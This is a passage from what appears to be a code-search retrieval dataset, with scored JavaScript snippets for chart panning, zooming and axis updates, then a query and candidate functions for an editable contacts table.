this.chartData.primary.houses[1].chartAngle) * -1;\n }\n else {\n this.offsetAngle = 0;\n }\n }", "title": "" }, { "docid": "489cbc26d465367a31baf8222835f006", "score": "0.4668495", "text": "__init10() {this.offsetY = 0;}", "title": "" }, { "docid": "2e55020d1afea4053aca7a971a95d1e3", "score": "0.46660328", "text": "function Start () {\n\tscale=.1;\n\tpush_back_x =.04;\n\tpush_back_y=.16;\n\tshift =.05;\n}", "title": "" }, { "docid": "1a271215288c62ee326b9d78ed004af3", "score": "0.46653774", "text": "redrawSliderWorkaround() {\n if (!this.matSlider) {\n return;\n }\n this.matSlider.step = this.luxStep - 1;\n setTimeout(() => {\n this.matSlider.step = this.luxStep;\n });\n }", "title": "" }, { "docid": "1b88dc025fcdcc4ece8013dfd6f95f6b", "score": "0.4665159", "text": "dragging_start(dx) {\n var use_quant = V.use_quant\n V.use_quant = false\n var id = this.selected_item\n var it = this.dict[id]\n var w = Math.max( it.w - dx, 1)\n var dx = (w == 1) ? 0 : dx\n var x = Math.max(it.x + dx, 1)\n this.adjust_item_x(id,x)\n this.adjust_item_w(id,w)\n V.use_quant = use_quant\n }", "title": "" }, { "docid": "6e426d8068385d2bcc405f0303500539", "score": "0.46615988", "text": "get offsetY() { return this._offsetY; }", "title": "" }, { "docid": "6e426d8068385d2bcc405f0303500539", "score": "0.46615988", "text": "get offsetY() { return this._offsetY; }", "title": "" }, { "docid": "6e426d8068385d2bcc405f0303500539", "score": "0.46615988", "text": "get offsetY() { return this._offsetY; }", "title": "" }, { "docid": "6e426d8068385d2bcc405f0303500539", "score": "0.46615988", "text": "get offsetY() { return this._offsetY; }", "title": "" }, { "docid": "8c10d306efe77ff14ef74eab3a8271a1", "score": "0.46603528", "text": "function draw() {\n\n // To plot from edge to edge obtain the position of the axis and convert it to real units\n xMin = -w.axis.position.x * w.scaleX.toUnits;\n xMax = xMin + w.width * w.scaleX.toUnits;\n\n // Evaluate function in range.\n plot.clear();\n for (var x = xMin; x <= xMax; x += STEP ) {\n y = controls.a0.value + controls.a1.value * x + controls.a2.value * Math.pow(x, 2) + controls.a3.value * Math.pow(x, 3) + controls.a4.value * Math.pow(x, 4);\n plot.addPoint(x, y);\n }\n\n}", "title": "" }, { "docid": "77413f8986edcfac43038d61cff10486", "score": "0.46596298", "text": "function panRight() {\n\t\tif(zoomMaxX < limits.maxX) {\n\t\t\tvar shift = limits.maxX - zoomMaxX;\n\t\t\tvar halfSpan = (zoomMaxX - zoomMinX) / 2;\n\t\t\tif(shift < halfSpan) {\n\t\t\t\tzoomMaxX = limits.maxX;\n\t\t\t} else {\n\t\t\t\tzoomMaxX += halfSpan;\n\t\t\t}\n\t\t\tzoomMinX = zoomMaxX - halfSpan*2;\n\n\t\t\t$scope.set(\"MinX\", zoomMinX);\n\t\t\t$scope.set(\"MaxX\", zoomMaxX);\n\t\t\tupdateSelectionsWhenZoomingOrResizing();\n\t\t\tupdateGraphicsHelper(false, true, true);\n\t\t}\n\t}", "title": "" }, { "docid": "0521986f63aa534a3abf11aeebd5b622", "score": "0.46572813", "text": "function getXY(y)\r\n{\r\n return Math.trunc(((-1*y)*dscale+xulcory));\r\n}", "title": "" }, { "docid": "fbed29c4d215c4817cd233a0e33c6b3d", "score": "0.46468115", "text": "axis(val) {\n this._axis = val;\n return this;\n }", "title": "" }, { "docid": "47a77bf0a07d8f9971f2fb4a6d2eefca", "score": "0.46320447", "text": "translateAxisDistance(axis, d) {\n axis.normalize();\n csphere.translateOnAxis(axis, d);\n }", "title": "" }, { "docid": "e3732f0b6460741623b52877b9bd0a85", "score": "0.4627987", "text": "function brushMove() {\n x.domain(brush.empty() ? x2.domain() : brush.extent());\n focus.select(\".main-area\").attr(\"d\", mainArea);\n focus.select(\".main-area-2\").attr(\"d\", mainArea1);\n focus.select(\".x.axis\").call(xAxis);\n}", "title": "" }, { "docid": "5fe380bd6967517a393fea18a593c121", "score": "0.46244344", "text": "setViewBox(vb) {\n let group = this.drawableObject.project.getLayers()[0].children[0];\n let vsize = this.drawableObject.view.getViewSize();\n\n group.scale(1/this.lastVB[2], 1/this.lastVB[3]); // undo last scale\n this.lastVB[2] = vsize._width/vb[2];\n this.lastVB[3] = vsize._height/vb[3];\n group.scale(vsize._width/vb[2], vsize._height/vb[3]); // do scale\n\n group.translate(this.vb0, this.vb1); // undo last xlate\n this.vb0 = vb[0] * this.lastVB[2];\n this.vb1 = vb[1] * this.lastVB[3];\n group.translate(-vb[0] * this.lastVB[2], -vb[1] * this.lastVB[3]); // do xlate\n }", "title": "" }, { "docid": "2a533e32e9e20f717b2978a26386abe3", "score": "0.46232638", "text": "function updateAxisDelta(delta, source, target, origin) {\n var sourceLength = source.max - source.min;\n var targetLength = target.max - target.min;\n delta.origin = origin === undefined ? calcOrigin(source, target) : origin;\n delta.originPoint = Object(_popmotion_popcorn__WEBPACK_IMPORTED_MODULE_2__[\"mix\"])(source.min, source.max, delta.origin);\n delta.scale = targetLength / sourceLength;\n if (isNear(delta.scale, 1, 0.0001))\n delta.scale = 1;\n delta.translate = calcTranslate(source, target, delta.origin);\n if (isNear(delta.translate))\n delta.translate = 0;\n}", "title": "" }, { "docid": "57a88e3aa6b5b72acb0ba1e44dbd2eaf", "score": "0.46228883", "text": "function adjustZoom (delta) {\n var maxDelta = 1;\n if (delta > maxDelta) delta = maxDelta;\n else if (delta < -maxDelta) delta = -maxDelta;\n\n var speed = delta * (verticalTopValue - verticalBottomValue) / 10;\n\n var verticalTop = verticalTopValue - speed;\n var verticalBottom = verticalBottomValue + speed;\n\n // if we have a hovered or selected anchor then try to focus on\n // that when zooming in\n var focus = hoveredAnchor || selectedAnchor;\n if (delta > 0 && focus) {\n var value = focus[1];\n var mid = (verticalTopValue + verticalBottomValue) / 2;\n verticalTop += (value - mid) * delta;\n verticalBottom += (value - mid) * delta;\n } else if (delta > 0 && minVertical != null) {\n verticalBottom = verticalBottomValue;\n }\n\n // keep limits\n if (maxVertical != null && verticalTop > maxVertical)\n verticalTop = maxVertical;\n\n if (minVertical != null && verticalBottom < minVertical)\n verticalBottom = minVertical;\n\n // try not to bring values too close together\n if (+(verticalTop - verticalBottom).toFixed(2) <= 0.01)\n return;\n\n verticalTopValue = verticalTop;\n verticalBottomValue = verticalBottom;\n\n render();\n }", "title": "" }, { "docid": "0aa4f75b0a89055987b994bfe7a38527", "score": "0.46202394", "text": "function applyBoxDelta(box, _a) {\n var x = _a.x, y = _a.y;\n applyAxisDelta(box.x, x.translate, x.scale, x.originPoint);\n applyAxisDelta(box.y, y.translate, y.scale, y.originPoint);\n}", "title": "" }, { "docid": "0aa4f75b0a89055987b994bfe7a38527", "score": "0.46202394", "text": "function applyBoxDelta(box, _a) {\n var x = _a.x, y = _a.y;\n applyAxisDelta(box.x, x.translate, x.scale, x.originPoint);\n applyAxisDelta(box.y, y.translate, y.scale, y.originPoint);\n}", "title": "" }, { "docid": "0aa4f75b0a89055987b994bfe7a38527", "score": "0.46202394", "text": "function applyBoxDelta(box, _a) {\n var x = _a.x, y = _a.y;\n applyAxisDelta(box.x, x.translate, x.scale, x.originPoint);\n applyAxisDelta(box.y, y.translate, y.scale, y.originPoint);\n}", "title": "" }, { "docid": "f91fcdb9f054c0b76a4fd1a6ca6cb68b", "score": "0.461778", "text": "function makePadFn(ax) {\n // 5% padding for points that specify extrapad: true\n var extrappad = ax._length / 20;\n\n // domain-constrained axes: base extrappad on the unconstrained\n // domain so it's consistent as the domain changes\n if (ax.constrain === 'domain' && ax._inputDomain) {\n extrappad *= (ax._inputDomain[1] - ax._inputDomain[0]) / (ax.domain[1] - ax.domain[0]);\n }\n\n return function getPad(pt) {\n return pt.pad + (pt.extrapad ? extrappad : 0);\n };\n }", "title": "" }, { "docid": "d5f606703bc24164788d3ec4350f660a", "score": "0.46165943", "text": "function updateAxisDelta(delta, source, target, origin) {\n var sourceLength = source.max - source.min;\n var targetLength = target.max - target.min;\n delta.origin = origin === undefined ? calcOrigin(source, target) : origin;\n delta.originPoint = Object(popmotion__WEBPACK_IMPORTED_MODULE_2__[\"mix\"])(source.min, source.max, delta.origin);\n delta.scale = targetLength / sourceLength;\n if (isNear(delta.scale, 1, 0.0001))\n delta.scale = 1;\n delta.translate = calcTranslate(source, target, delta.origin);\n if (isNear(delta.translate))\n delta.translate = 0;\n}", "title": "" }, { "docid": "5b02faa463724341dac719525a16de96", "score": "0.46115837", "text": "__init9() {this.offsetX = 0;}", "title": "" }, { "docid": "73914db66f6d31d1de2d15662d0e3d50", "score": "0.46089154", "text": "function shiftArrayHoriz(val)\n{\n // Figure out how many pixels to shift\n <?php if(COUNTRY_CANADA == COUNTRY || COUNTRY_UK == COUNTRY) { ?>\n leftVal = inch*val*<?php echo INCHES_PER_METER; ?>;\n <?php } else { ?>\n leftVal = inch*ft2in(val);\n <?php } ?>\n moveModulesHoriz(leftVal);\n}", "title": "" }, { "docid": "5b6ea635cab6dcb7fec75f0b067840a1", "score": "0.46074164", "text": "adjust(dx1, dy1, dx2, dy2) {\n return this.native.adjust(dx1, dy1, dx2, dy2);\n }", "title": "" }, { "docid": "39690783503362cd326bb9c7710d57e3", "score": "0.46069586", "text": "function panByPix(dir,val) {\n\n\tval = Number(val);\n\n\tconsole.log(\"Panning in direction \" + dir + \" \" + val + \" times\");\n\tconsole.log(75*val)\n\n\t// up\n\tif(dir == 0){\n\t\tmap.panBy([0,-75*val]);\n\t}\n\t// down\n\telse if(dir == 1){\n\t\tmap.panBy([0,75*val]);\n\t}\n\t// left\n\telse if(dir == 2){\n\t\tmap.panBy([-75*val,0]);\n\t}\n\t// right\n\telse if(dir == 3){\n\t\tmap.panBy([75*val,0]);\n\t}\n}", "title": "" }, { "docid": "878e5e66770ebf48aba51cdbac5f4505", "score": "0.4606652", "text": "function update_x_axis(m1, s1, m2, s2, x){\n\tx.domain(d3.extent([m1 - (z_limit * s1), m2 - (z_limit * s2), m1 + (z_limit * s1), m2 + (z_limit * s2)]));\n\troc_scale.domain(x.domain()); //update the roc scale, too\n\td3.selectAll(\".x.axis\").transition().call(xAxis);\n}", "title": "" }, { "docid": "0270c7e242d1170d3e4bebcb27af8be4", "score": "0.46034676", "text": "function pan() {\n\t\t\t\t// Limit pan\n\t\t\t\tif (zoom.translate()[0] < 0) { zoom.translate([0, zoom.translate()[1]]); }\n\t\t\t\tsvg.select(\".x.axis\").call(xAxis);\n\t\t\t\tsvg.select('.line').attr(\"d\", line(data));\n\t\t\t\tsvg.selectAll(\".dot\").attr(\"cx\", function(d) { return x(d.date); });\n\t\t\t\tsvg.selectAll(\".bar\").attr(\"transform\", function(d) { return \"translate(\" + x(d.date) + \",0)\"; });\n\t\t\t\tsvg.selectAll('.range').attr(\"d\", function(d) { return area(d.values); });\n\t\t\t\tsvg.select(\".current-value\").attr(\"transform\", \"translate(\" + zoom.translate()[0] + \",0)\");\n\t\t\t\tsvg.select(\".no-data\").attr(\"visibility\", dataAvailable() ? \"hidden\" : \"visible\");\n\t\t\t}", "title": "" }, { "docid": "7766e10a4b3c16c30b93c3b85084a6fc", "score": "0.4591555", "text": "function zoomed() {\n\t let transform = d3.event.transform;\n\t if (graphDirection === 'vertical') {\n\t\t transform.x = 0;\n\t } else {\n\t\t transform.y = Math.min(0, transform.y);\n\t }\n\t container.attr(\"transform\", transform.toString());\n }", "title": "" }, { "docid": "1ce739e5698bf43b422f4301f90ada93", "score": "0.45913404", "text": "function shiftColorScale(delta){\n global_colorScale = (delta + global_colorScale)%100;\n\n if (global_colorScale < 0)\n global_colorScale = 360;\n\t \n \n console.log(global_colorScale)\n // Update front end \n generateFractal(global_xCenter,global_yCenter,global_width,global_height);\n\n}", "title": "" }, { "docid": "6494094cde9ba50c2bf02ab889771714", "score": "0.45893705", "text": "function mouseMoved() {\n\n\tif (mouseX > 200) {\n\t\t// Modify this line such that dx depends on the distance from\n\t\t// the center; the further away from the center, the higher dx is.\n\t\t// 0 < dx < 2\n\t\tdx = 2 * (((mouseX - 200) / 200))\n\n\t}\n\telse if(mouseX == 200){\n\t\tdx = 0\n\t}\n\telse {\n\t\t// Modify this line such that dx depends on the distance from\n\t\t// the center; the further away from the center, the lower dx is.\n\t\t// -2 < dx < 0\n\n\t\tdx = 2 * (((mouseX - 200) / 200))\n\t}\n\tif(mouseY > 200){\n\t\tdy = 2 * (((mouseY - 200) / 200))\n\t}\n // add more logic for the y dimension\n\telse if(mouseY == 200){\n\t\tdy = 0\n\t}\n\telse{\n\t\tdy = 2 * (((mouseY - 200) / 200))\n\t}\n\n\n\n}", "title": "" }, { "docid": "0b2cb906d703148bbb757fe2c83d761e", "score": "0.45879197", "text": "update() {\n let startingPos = (this.getWidth() / 2) - ((this.getArray().length - 1) * (this.getNodeRadius() + this.getArrNodePadding()));\n for (let i = 0; i < this.getArray().length; i++) {\n let x = startingPos + 2 * i * (this.getNodeRadius() + this.getArrNodePadding());\n let g = this.getArray()[i].transition()\n .duration(300)\n .attr(\"transform\", \"translate(\" + (this.getArray()[i].datum().x = x) + \",\" + (this.getArray()[i].datum().y = this.getArrYMiddle()) + \")\");\n }\n }", "title": "" }, { "docid": "050e0214a6f09b61c3c438ba8ff2d261", "score": "0.4586295", "text": "updateDimensions() {\n let cx = this.center.components[0];\n let cy = this.center.components[1];\n let cz = this.center.components[2];\n this.min[0] = cx - this.radius;\n this.min[1] = cy - this.radius;\n this.min[2] = cz - this.radius;\n this.max[0] = cx + this.radius;\n this.max[1] = cy + this.radius;\n this.max[2] = cz + this.radius; // Precalculate to simplify ray test\n\n this.left = cx - this.radius;\n this.right = cx + this.radius;\n this.back = cz - this.radius;\n this.front = cz + this.radius;\n this.bottom = cy - this.radius;\n this.top = cy + this.radius;\n return this;\n }", "title": "" }, { "docid": "36f44b8be512043a61b4fa0475612765", "score": "0.45779088", "text": "top_pan(dir = true) {\n //\n //Geet the second compnent of the viewbox array which is the top pan \n let span = this.viewbox[1];\n //\n //Set the direction to + r -\n let sign = dir ? 1 : -1;\n //\n //Increase/decrease zoom by, say, 100\n span = span + step * sign;\n //\n //Replace the 2nd element of the viewbox which is the top pan\n this.viewbox[1] = span;\n // \n this.display();\n }", "title": "" }, { "docid": "0642bd5d68ad0c425a298b64eb0d3add", "score": "0.4574523", "text": "_updateZooming() {\r\n const [d, t] = [this._zoomDuration, this._zoomScaleTarget];\r\n this._zoomScale = (this._zoomScale * (d - 1) + t) / d;\r\n this._zoomDuration--;\r\n }", "title": "" }, { "docid": "7455b278bd4bd9105bbae91758f54ae7", "score": "0.4567232", "text": "function changeOffsets(xOffset, yOffset) {\n\t var oldOffsets = {\n\t x: this._offsetX,\n\t y: this._offsetY\n\t };\n\t this._offsetX = clamp_1.clamp(xOffset, 0, this.originalDimensions[0] - this.dimensions[0]);\n\t this._offsetY = clamp_1.clamp(yOffset, 0, this.originalDimensions[1] - this.dimensions[1]);\n\t this._setViewBox(this.dimensions, this._offsetX, this._offsetY);\n\t this.emit('change-offsets', {\n\t oldOffsets: oldOffsets,\n\t newOffsets: {\n\t x: this._offsetX,\n\t y: this._offsetY\n\t }\n\t });\n\t return this;\n\t}", "title": "" }, { "docid": "74865413090552285ee361068d8ae677", "score": "0.45645824", "text": "function decreaseXY() {\n resetAnimation();\n brd1.update();\n AD2.point1.moveTo([1.0, 9.0], 1000);\n AD2.point2.moveTo([9.0, 1.0], 1000);\n AD2.setAttribute({\n withLabel: true,\n offset: [125, -85]\n });\n brd1.update();\n }", "title": "" }, { "docid": "f1d03c90aaf450046a2967ef4c00961c", "score": "0.45559955", "text": "function zoomed() {\n function rescale(transformEvent) {\n transformedScale.x = transformEvent.rescaleX(transformedScale.x)\n if (transformEvent.rescaleY(transformedScale.y).domain()[0] >= 0) {\n transformedScale.y = transformEvent.rescaleY(transformedScale.y)\n }\n }\n\n function getScaleForZoom(scale, focus) {\n return d3.zoomIdentity\n .translate(focus.x - (Y_AXIS_LABEL_WIDTH + MARGIN), focus.y - MARGIN)\n .scale(scale)\n .translate(-focus.x + (Y_AXIS_LABEL_WIDTH + MARGIN), -focus.y + MARGIN)\n }\n\n if (d3.event.sourceEvent != null && d3.event.sourceEvent.buttons === rightButton) {\n transformedScale.x = tempRmbScale.x\n const rmbDivider = 100.0\n const zoomAmount = rmbZoomValue(d3.event.sourceEvent) / rmbDivider\n const scale = Math.exp(zoomAmount)\n const distanceScale = getScaleForZoom(scale, startPos)\n transformedScale.x = distanceScale.rescaleX(transformedScale.x)\n transformedScale.zoom = tempRmbScale.zoom * scale\n } else if (d3.event.sourceEvent != null && d3.event.sourceEvent.type === 'wheel') {\n if (d3.event.sourceEvent.ctrlKey) {\n const pinchDivider = 100.0\n const zoomAmount = -d3.event.sourceEvent.deltaY / pinchDivider\n const scale = Math.exp(zoomAmount)\n const distanceScale = getScaleForZoom(scale, startPos)\n transformedScale.x = distanceScale.rescaleX(transformedScale.x)\n transformedScale.zoom = transformedScale.zoom * scale\n } else {\n const distanceScale = d3.zoomIdentity.translate(\n -d3.event.sourceEvent.deltaX,\n -d3.event.sourceEvent.deltaY\n )\n rescale(distanceScale)\n }\n } else if (\n d3.event.sourceEvent != null &&\n d3.event.sourceEvent.buttons === midButtonClicked\n ) {\n const movementFactor = 2\n const distanceScale = d3.zoomIdentity.translate(\n d3.event.sourceEvent.movementX / movementFactor,\n d3.event.sourceEvent.movementY / movementFactor\n )\n rescale(distanceScale)\n } else {\n rescale(d3.event.transform)\n }\n\n self.rescale(transformedScale, false)\n }", "title": "" } ]
ca739c772aa5ac349d77705dbe34f214
table to display contact then make table editable if edit then update json add row add new row data to json save button delete icon on row on delete remove row from json and update table
[ { "docid": "0ccfca8fc68208305dec7b7c2ab95fe2", "score": "0.0", "text": "function Contact(props) {\n console.log(\"myJson::\", props);\n return (<div className=\"contact\">\n <span>Leanne Graham</span>\n </div>)\n \n}", "title": "" } ]
[ { "docid": "86884e783fe589360b391a86d193343e", "score": "0.76511455", "text": "function editRow(btn) {\n $('#edit-contact').show();\n $('#contact-list').hide();\n $('#new-contact').hide();\n $('#details').hide();\n \n // determine the row to be changed based off the button\n var row = btn.parentNode.parentNode.rowIndex;\n let json;\n\n // perform an HTTP GET to retrieve all the data in the JSON file\n $.get('api', function (data, status){\n json = JSON.parse(data);\n \n // write the data to be edited to the Edit Contact view\n $ ('#edit-fullname').val(json.table[row-1].name);\n $ ('#edit-email').val(json.table[row-1].email);\n $ ('#edit-phonenum').val(json.table[row-1].phonenum);\n\n\n // after the user has updated information and they click to save, run this function\n $('#edit-submit').click(function(){\n\n // create an object from the newly updated information. \n const formData = {\n fullname: $('#edit-fullname').val(),\n email: $('#edit-email').val(),\n phonenum: $('#edit-phonenum').val(),\n index: row\n };\n\n const requestData = JSON.stringify(formData);\n \n // perform an HTTP PUT request to update the JSON file.\n $.ajax({\n type: 'PUT', \n url: 'api', \n data: requestData,\n dataType: 'json',\n contentType: 'application/json',\n })\n .done(successHandler())\n .fail(errorHandler())\n\n // after the JSON file has been updated, display the contacts page. \n showContacts();\n\n })\n }\n \n\n )\n \n\n }", "title": "" }, { "docid": "3fd30ed8f40c84a5b09e31297647575f", "score": "0.6672347", "text": "function listCustomer() {\n\n //clear table\n tbl_customer.clear().draw();\n //set customer list to table\n $.ajax({\n type: 'GET',\n url: \"../customer/list.htm\",\n success: function (data, textStatus, jqXHR) {\n //set customer list to table\n var json = JSON.parse(data);\n\n $(json).each(function (index) {\n var item = json[index];\n var editBtn = \"<a><span style='cursor: pointer' class='glyphicon glyphicon-pencil' onclick='editCustomer(\" + item.custId + \")' ></span></a>\"\n var row = [item.custId, item.name, item.addressLine1 + \",\" + item.addressLine2 + \",\" + item.city + \",\" + item.postalCode, item.tel1 + \",\" + item.tel2, item.email, editBtn];\n tbl_customer.row.add(row).draw();\n });\n\n\n }\n\n })\n\n}", "title": "" }, { "docid": "933006d6345cd7a20f9aec363b08d645", "score": "0.65971375", "text": "function addRow(contact, id) {\n\tlet table = document.querySelector(\"#contactsTable\");\n\tlet row = table.insertRow();\n\trow.id = id;\n\t// let { insertCell } = row;\n\n\tlet nameCell = row.insertCell();\n\tnameCell.innerHTML = contact.name;\n\n\tlet phoneCell = row.insertCell();\n\tphoneCell.innerHTML = contact.phone;\n\n\tlet editCell = row.insertCell();\n\teditCell.innerHTML = '<button id=\"edit\" onclick=\"editContact(this)\">Edit</button>';\n\n\tlet deleteCell = row.insertCell();\n\tdeleteCell.innerHTML = '<button id=\"del\" onclick=\"deleteContact(this)\">Delete</button>';\n}", "title": "" }, { "docid": "6ef480237ca9163462019d4d7af16299", "score": "0.65848625", "text": "function update_table(contacts,$table) {\n var i = 0;\n $table.html(\"\");\n forEach(contacts, function () {\n $table.append('<tr><td>' + this.name +\n '</td><td>' + this.address +\n '</td><td>' + this.mobile +\n '</td><td>' + this.phone +\n '</td><td>' + this.email +\n '</td><td>' +\n \"<input type='image' id='\" + i + \"' class='edit_contact' src='images/icn_edit.png' title='Edit'>\" +\n \"<input type='image' id='\" + i + \"' class='remove_contact' src='images/icn_trash.png' title='Trash'></td></tr>\");\n i++;\n });\n\n //Function to remove\n $(\".remove_contact\").on(\"click\", function () {\n contact_list.splice(this.id, 1);\n update_table(contact_list, $(\"#contacts_table\"));\n saveContacts();\n });\n\n //Function to edit\n $(\".edit_contact\").on(\"click\", function () {\n $(\"#edit_contact_dialog\").dialog(\"open\");\n $(\"#edit_name_input\").val(contact_list[this.id].name);\n $(\"#edit_address_input\").val(contact_list[this.id].address);\n $(\"#edit_mobile_input\").val(contact_list[this.id].mobile);\n $(\"#edit_phone_input\").val(contact_list[this.id].phone);\n $(\"#edit_email_input\").val(contact_list[this.id].email);\n $(\"#edit_id_input\").val(this.id);\n });\n}", "title": "" }, { "docid": "9432c5d4851d8705a27e8ae285304d93", "score": "0.65580755", "text": "function table() {\n\n appendTo = false;\n createButtonAppendTo = false;\n data = false;\n tableID = '#tbJsonToHtml';\n hasDefaultHeader = true;\n customHeader = false;\n addToColumn = false;\n tableSort = true;\n\n funUpdate = false;\n funCreate = false;\n funDelete = false;\n\n tb = '';\n headerRow = [];\n\n //var modalData = '';\n editable = {};\n editableArray = [];\n preStr = '';\n\n var args = arguments[0][0];\n\n if (args.Data === undefined) {\n\n alert('Data is required in order to create table');\n } else {\n\n if (args.Data !== undefined) {\n data = args.Data;\n }\n if (args.AppendTo !== undefined) {\n appendTo = args.AppendTo;\n }\n\n if (args.CreateButtonAppendTo !== undefined) {\n createButtonAppendTo = args.CreateButtonAppendTo;\n }\n\n if (args.TableID !== undefined) {\n tableID = args.TableID;\n }\n\n if (args.DefaultHeader !== undefined) {\n hasDefaultHeader = args.DefaultHeader;\n }\n\n\n if (args.CustomHeader !== undefined) {\n customHeader = args.CustomHeader;\n }\n\n if (args.AddToColumn !== undefined) {\n addToColumn = args.AddToColumn;\n }\n\n if (args.Sort !== undefined) {\n tableSort = args.Sort;\n }\n\n if (args.UpdateFunction !== undefined) {\n funUpdate = args.UpdateFunction;\n } else {\n funUpdate = false;\n }\n\n if (args.CreateFunction !== undefined) {\n funCreate = args.CreateFunction;\n } else {\n funCreate = false;\n }\n\n if (args.DeleteFunction !== undefined) {\n funDelete = args.DeleteFunction;\n } else {\n funDelete = false;\n }\n\n //***************************************************\n //****************** CREATE TABLE ******************\n //***************************************************\n tb = '<table id=\"' + tableID.slice(1, tableID.length) + '\" class=\"table table-striped table-hover\">';\n j2HTMLCreateTableHeader();\n\n if (hasDefaultHeader === true && customHeader !== false) {\n alert(\"hasDefaultHeader and custom header both cannot be present at same time\");\n } else {\n\n j2HTMLCreateTableRow();\n\n if (appendTo !== false) {\n $(appendTo).html(tb);\n } else {\n $('body').html('<div id=\"divJson2HTMLTable\" style=\"overflow-x:auto;\"></div>');\n $('#divJson2HTMLTable').html(tb);\n }\n\n }\n }\n}", "title": "" }, { "docid": "359ed1fba925da0eebf2e76a9967fa60", "score": "0.654166", "text": "function setRowTable(data){\n\t// Template Row\n\tvar tmpRows = \"\";\n\tvar templateR = \"\";\n\tvar template = \"<tr><td class='idRow'>CODE</td>\"+\n \"<td><a class='editRow' attr-id='INDEX' data-toggle='modal' data-target='.modal-edit'>CLIENTE<a></td>\"+\n \"<td>ESTADO</td>\"+\n \"<td>LLEGADA</td>\"+\n \"<td>SALIDA</td>\"+\n \"<td>HABITACION</td>\"+\n \"<td>PRECIO</td></tr>\";\n\n\t// Recorrer elementos\n\tfor(i = 0; i < data.length; i++){\n\t\ttemplateR = template;\n templateR = templateR.replaceAll(\"INDEX\", data[i].id);\n\t\ttemplateR = templateR.replaceAll(\"CODE\", data[i].codigo);\n\t\ttemplateR = templateR.replaceAll(\"CLIENTE\", data[i].completo);\n templateR = templateR.replaceAll(\"LLEGADA\", data[i].fechaLlegada);\n templateR = templateR.replaceAll(\"SALIDA\", data[i].fechaSalida);\n templateR = templateR.replaceAll(\"ESTADO\", data[i].estado);\n \n var precio = 0;\n var rooms = \"\";\n var habitaciones = data[i].habitaciones;\n for(x = 0; x < habitaciones.length; x++){\n precio += parseFloat(habitaciones[x].precio);\n if (rooms != \"\"){rooms += \"<br/>\"}\n rooms += habitaciones[x].nombre + \" (\"+(parseFloat(habitaciones[x].precio)).formatMoney(0, \"$\", \",\", \".\")+\")\";\n }\n templateR = templateR.replaceAll(\"HABITACION\", rooms);\n templateR = templateR.replaceAll(\"PRECIO\", precio.formatMoney(0, \"$\", \",\", \".\"));\n \n \n\t\ttmpRows += templateR;\n\t}\n\t$(\"#bodyTable\").html(tmpRows);\n\n\t\n\t$(\".editRow\").click(function() {\n $(\"#btnUpdateModal\").attr(\"attr-id\", $(this).attr(\"attr-id\"));\n $(\"#txtNombre\").html($(this).html());\n $(\"#txtLlegadaSalida\").html($($(this).parent().parent().children()[3]).html()+\n \" / \"+$($(this).parent().parent().children()[4]).html());\n $(\"#txtHabitaciones\").html($($(this).parent().parent().children()[5]).html());\n $(\"#txtTotal\").html(\"Total: \"+$($(this).parent().parent().children()[6]).html());\n \n var estado = 1;\n if($($(this).parent().parent().children()[2]).html()==\"Pagado\") estado = 2;\n else if($($(this).parent().parent().children()[2]).html()==\"CheckIn\") estado = 3;\n else if($($(this).parent().parent().children()[2]).html()==\"CheckOut\") estado = 4;\n $(\"#selEstado\").val(estado);\n\t});\n}", "title": "" }, { "docid": "4b64aecaeef2ed68fc39acbe6b26a8af", "score": "0.6477099", "text": "function addToTable(contact) {\n var newRow = $('<tr>');\n var cols = '';\n\n // Dados\n cols += '<td>' + contact['nome'] + '</td>';\n cols += '<td>' + contact['email'] + '</td>';\n cols += '<td>' + contact['telefone'] + '</td>';\n\n // Opções\n cols += '<td class=\"text-center c-option\">';\n cols += '<a onclick=\"getModalData(' + contact['id'] + ')\" title=\"Editar\" id=\"btnEdit\"><i class=\"fa fa-pencil-square-o\"></i></a>';\n cols += '<a onclick=\"removeContact(this,' + contact['id'] + ')\" title=\"Excluir\"><i class=\"fa fa-trash\"></i></a>';\n cols += '<a onclick=\"view(' + contact['id'] + ')\" title=\"Visualizar\" id=\"btnView-' + contact['id'] + '\" data-toggle=\"modal\" data-target=\"#modal-view\"><i class=\"' + (contact['obs'] == '' ? 'fa fa-file-text-o' : 'fa fa-file-text') + '\"></i></a>';\n cols += '<a onclick=\"favContact(' + contact['id'] + ')\" title=\"Favorito\" id=\"btnFav-' + contact['id'] + '\"><i class=\"' + (contact['fav'] == '1' ? 'fa fa-star' : 'fa fa-star-o') + '\"></i></a>';\n cols += '</td>';\n\n newRow.append(cols);\n $('#tableContacts').append(newRow);\n}", "title": "" }, { "docid": "5e9816976ca40dcd4ebfa0e43d1a5232", "score": "0.64628816", "text": "function refreshtable() {\r\n let table = \"<ul id='contactstable' border='1'>\";\r\n if (arrayofcontacts.length > 0) {\r\n for (let i = 0; i < arrayofcontacts.length; i++) {\r\n table +=\r\n `<li id=\"a\"><a onclick=\"showdetails(${i})\">` +\r\n arrayofcontacts[i].name +\r\n `</a><a id=\"a\" onclick=\"showdetails(${i})\">` +\r\n arrayofcontacts[i].phone +\r\n `</a><a><button onclick=\"editdetails(${i})\"><svg height=\"13pt\" viewBox=\"0 -1 401.52289 401\" width=\"12.5pt\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"m370.589844 250.972656c-5.523438 0-10 4.476563-10 10v88.789063c-.019532 16.5625-13.4375 29.984375-30 30h-280.589844c-16.5625-.015625-29.980469-13.4375-30-30v-260.589844c.019531-16.558594 13.4375-29.980469 30-30h88.789062c5.523438 0 10-4.476563 10-10 0-5.519531-4.476562-10-10-10h-88.789062c-27.601562.03125-49.96875 22.398437-50 50v260.59375c.03125 27.601563 22.398438 49.96875 50 50h280.589844c27.601562-.03125 49.96875-22.398437 50-50v-88.792969c0-5.523437-4.476563-10-10-10zm0 0\"/><path d=\"m376.628906 13.441406c-17.574218-17.574218-46.066406-17.574218-63.640625 0l-178.40625 178.40625c-1.222656 1.222656-2.105469 2.738282-2.566406 4.402344l-23.460937 84.699219c-.964844 3.472656.015624 7.191406 2.5625 9.742187 2.550781 2.546875 6.269531 3.527344 9.742187 2.566406l84.699219-23.464843c1.664062-.460938 3.179687-1.34375 4.402344-2.566407l178.402343-178.410156c17.546875-17.585937 17.546875-46.054687 0-63.640625zm-220.257812 184.90625 146.011718-146.015625 47.089844 47.089844-146.015625 146.015625zm-9.40625 18.875 37.621094 37.625-52.039063 14.417969zm227.257812-142.546875-10.605468 10.605469-47.09375-47.09375 10.609374-10.605469c9.761719-9.761719 25.589844-9.761719 35.351563 0l11.738281 11.734375c9.746094 9.773438 9.746094 25.589844 0 35.359375zm0 0\"/></svg></button></a><a><button onclick=\"deltecontact(${i})\"><svg xmlns=\"http://www.w3.org/2000/svg\" height=\"20\" viewBox=\"0 0 24 24\" 